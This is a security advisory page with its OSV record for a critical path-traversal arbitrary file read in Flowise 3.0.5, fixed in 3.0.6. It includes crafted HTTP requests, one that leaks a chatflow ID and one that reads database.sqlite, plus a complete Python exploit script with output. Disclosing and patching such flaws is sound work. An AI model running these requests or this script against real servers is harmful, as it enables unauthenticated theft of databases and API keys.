GHSA-99pg-hqvx-r4gf: Flowise Flowise Has An Arbitrary File Vulnerability
CRITICALGHSA-99pg-hqvx-r4gf is a CRITICAL (CVSS 9.1) flowise has an arbitrary file vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Flowise libraries in the npm ecosystem. The issue involves flowise has an arbitrary file read. Remediation is available by upgrading affected packages to version 3.0.6.
GHSA-99pg-hqvx-r4gf at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H).
How to Fix GHSA-99pg-hqvx-r4gf
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install flowise@3.0.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowise
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-99pg-hqvx-r4gf, inspect your project dependencies using npm:
npm ls flowise
Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.6), your application is affected.
Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-99pg-hqvx-r4gf Affected Flowise Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise
|
npm |
≥ 3.0.5
< 3.0.6
All 1 versions
3.0.5
|
3.0.6
|
References
Frequently Asked Questions
What is GHSA-99pg-hqvx-r4gf?
Which Flowise versions are affected?
What version fixes GHSA-99pg-hqvx-r4gf?
Is flowise affected?
What is the CVSS score of GHSA-99pg-hqvx-r4gf?
What CWE is associated with GHSA-99pg-hqvx-r4gf?
How can I check npm dependencies for GHSA-99pg-hqvx-r4gf?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-99pg-hqvx-r4gf",
"modified" : "2026-07-21T19:45:51Z",
"published" : "2025-09-15T20:00:39Z",
"aliases" : [ ],
"summary" : "Flowise has an Arbitrary File Read",
"details" : "### Summary\nAn arbitrary file read vulnerability in the `chatId` parameter supplied to both the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content.\n\n### Details\nBoth the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints accept the `chatId` parameter and pass this to a subsequent call to streamStorageFile().\n\n\n```\nconst chatflowId = req.query.chatflowId as string\nconst chatId = req.query.chatId as string\nconst fileName = req.query.fileName as string\n\n...\n const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)\n```\n\nWhile streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId.\n\n\n```\n // Validate chatflowId\n if (!chatflowId || !isValidUUID(chatflowId)) {\n throw new Error('Invalid chatflowId format - must be a valid UUID')\n }\n\n // Check for path traversal attempts\n if (isPathTraversal(chatflowId)) {\n throw new Error('Invalid path characters detected in chatflowId')\n }\n...\n const sanitizedFilename = sanitize(fileName)\n...\n\tconst filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)\n```\n\nThere is validation that the resulting filePath is restricted to the `/root/.flowise/storage` directory.\n\n```\nif (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)\n```\n\nHowever, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted.\n\n```\n if (fs.existsSync(filePath)) {\n return fs.createReadStream(filePath)\n } else {\n // Fallback: Check if file exists without orgId\n const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename)\n\n if (fs.existsSync(fallbackPath)) {\n // Create directory if it doesn't exist\n const dir = path.dirname(filePath)\n if (!fs.existsSync(dir)) {\n fs.mkdirSync(dir, { recursive: true })\n }\n\n // Copy file to correct location with orgId\n fs.copyFileSync(fallbackPath, filePath)\n\n // Delete the old file\n fs.unlinkSync(fallbackPath)\n\n // Clean up empty directories recursively\n _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId))\n\n return fs.createReadStream(filePath)\n\n```\n\nAs this fallback path is read after the `/root/.flowise/storage` check, this allows an additional level of traversal up to `/root/.flowise/`. As a result, this allows reading of `/root/.flowise/database.sqlite`, which contains all database content in the default Flowise configuration.\n\nREQUEST\n```\nGET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1\nHost: 127.0.0.1:3000\n\n```\n\nRESPONSE\n```\nHTTP/1.1 200 OK\nVary: Origin\nAccess-Control-Allow-Credentials: true\nContent-Disposition: attachment; filename=\"database.sqlite\"\nDate: Tue, 22 Jul 2025 06:43:51 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 385024\n\nSQLite format 3�\u0010�\u0001\u0001�@ ���6���^���A���\u0015���Õ���\u0004�����������\u0001�����������������������������������6�.r¢\u0005\u000Fö�\u0006\u000FÚ����Z\u000Fû\u000Fì\u000Fñ\u000Fæ\u000Fà\u000FÚ\u000FÛ\t\u000E\b�\u0007Ï\u0001l\u0007\u0007\n\u0005Í\u0005\u0004\u0004S\u0003=\u0004*\u0001'\u0001'���������������������������������������������������������������������������������������������������������������������������������������������;,\u0006\u0017O)\u0001�indexsqlite_autoindex_docume\n...\n```\n\nSimilarly, for `/api/v1/openai-assistants-file/download`:\nREQUEST\n```\nPOST /api/v1/openai-assistants-file/download HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nContent-Length: 100\n\n{\"chatflowId\":\"c5c63474-e757-4fca-a504-d54e84c309bb\",\"chatId\":\"/../..\",\"fileName\":\"database.sqlite\"}\n```\nRESPONSE\n```\nHTTP/1.1 200 OK\nVary: Origin\nAccess-Control-Allow-Credentials: true\nContent-Disposition: attachment; filename=\"database.sqlite\"\nDate: Tue, 22 Jul 2025 08:55:25 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 385024\n\nSQLite format 3�\u0010�\u0001\u0001�@ ���6���^���A���\u0015���Õ���\u0004�����������\u0001�����������������������������������6�.r¢\u0005\u000Fö�\u0006\u000FÚ����Z\u000Fû\u000Fì\u000Fñ\u000Fæ\u000Fà\u000FÚ\u000FÛ\t\n...\n```\n\nThis includes all API keys used by the application (apiKey table), which can be used to gain administrative access.\n\nAs the fallback logic attempts to move the file to the initially checked directory, this results in the server permanently being unable to make new read or write operations until the file is moved and the server is restarted.\n\nInteraction with these endpoints requires knowledge of a valid `chatflowId`. As a UUID, this is inherently unguessable. However, the `/api/v1/vector/upsert/` endpoint can be used without a chatflowId, defaulting to the first ID available. This endpoint returns a verbose error when receiving a malformed filename, revealing the full internal file path and the associated `chatflowId`.\n\n\nREQUEST\n```\nPOST /api/v1/vector/upsert/ HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Length: 172\nConnection: keep-alive\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"files\"; filename=\"?\"\nContent-Type: text/plain\n\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n```\nRESPONSE\n```\nHTTP/1.1 500 Internal Server Error\nVary: Origin\nAccess-Control-Allow-Credentials: true\nContent-Type: application/json; charset=utf-8\nContent-Length: 240\nETag: W/\"f0-khSyqlT3NYLMJGjdchTl6Iwqe4U\"\nDate: Tue, 22 Jul 2025 08:14:20 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\"statusCode\":500,\"success\":false,\"message\":\"Error: vectorsService.upsertVector - EISDIR: illegal operation on a directory, open '/root/.flowise/storage/07b5d2bd-9b5c-4de3-b234-4fe4357051c9/188903b1-d06d-4f93-9415-400015b87146'\",\"stack\":{}}\n```\nIn this case the UUID is revealed as `188903b1-d06d-4f93-9415-400015b87146`, which can then be used to exploit the file read vulnerability.\n\n### PoC\n\nRun Flowise:\n```\ndocker run --rm -p 3000:3000 flowiseai/flowise\n```\nComplete install & create a Chatflow:\n<img width=\"575\" height=\"299\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1a34e809-b9b3-48a1-93b4-8dafccf87e3b\" />\n\nSave this script to `read.py`:\n```\nimport argparse\nimport re\nimport requests\n\ndef read_file(url, file_path, proxy):\n base_url = url\n proxies = {'http': proxy, 'https': proxy} if proxy else None\n\n print(f\">> starting exploit against {base_url}\")\n if proxy:\n print(f\">> using proxy: {proxy}\")\n\n try:\n print(\"[*] step 1: leaking chatflowid\")\n initial_headers = {}\n files = {'files': ('?', 'asdf', 'text/plain')}\n response = requests.post(f\"{base_url}/api/v1/vector/upsert/\", files=files, headers=initial_headers, timeout=10, proxies=proxies)\n chatflow_id_matches = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get(\"message\", \"\"))\n if len(chatflow_id_matches) < 2:\n print(\"[-] failed to leak chatflowid.\")\n return\n chatflow_id = chatflow_id_matches[1]\n print(f\"[+] got chatflowid: {chatflow_id}\")\n\n print(f\"[*] step 2: reading file: {file_path}\")\n internal_headers = {'x-request-from': 'internal'}\n params = {'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path}\n response = requests.get(f\"{base_url}/api/v1/get-upload-file\", params=params, headers=internal_headers, timeout=10, proxies=proxies)\n \n if response.status_code != 200:\n print(f\"[-] failed to read file (status: {response.status_code}).\")\n print(response.text)\n return\n \n file_content = response.text\n print(f\"[+] successfully read file ({len(response.content)} bytes).\")\n print(\"\\n--- file content ---\")\n print(file_content)\n print(\"--------------------\\n\")\n\n except requests.exceptions.RequestException as e:\n print(f\"\\n[-] an unexpected error occurred: {e}\")\n except Exception as e:\n print(f\"\\n[-] an unexpected error occurred: {e}\")\n return\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Read arbitrary files\")\n parser.add_argument(\"-u\", \"--url\", type=str, required=True, help=\"target base url (e.g., http://127.0.0.1:3000)\")\n parser.add_argument(\"-f\", \"--file\", type=str, required=True, help=\"path of the file to read on the server (e.g., database.sqlite)\")\n parser.add_argument(\"-x\", \"--proxy\", type=str, help=\"proxy to use (e.g., http://127.0.0.1:8080)\")\n\n args = parser.parse_args()\n read_file(args.url, args.file, args.proxy)\n```\n\nRun the script against `http://127.0.0.1:3000`:\n```\npython3 read.py -u http://127.0.0.1:3000 -f database.sqlite\n>> starting exploit against http://127.0.0.1:3000\n[*] step 1: leaking chatflowid\n[+] got chatflowid: c5c63474-e757-4fca-a504-d54e84c309bb\n[*] step 2: reading file: database.sqlite\n[+] successfully read file (385024 bytes).\n\n--- file content ---\nÕÇêS=*'';,O)indexsqlite_autoindex...\n\n```\n\n\n### Impact\n\nThis allows any unauthenticated user to extract all database content from a default installation of Flowise. This includes API keys, which can be used to gain administrative access.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.5"
}, {
"fixed" : "3.0.6"
} ]
} ],
"versions" : [ "3.0.5" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-09-15T20:00:39Z",
"nvd_published_at" : null
}
}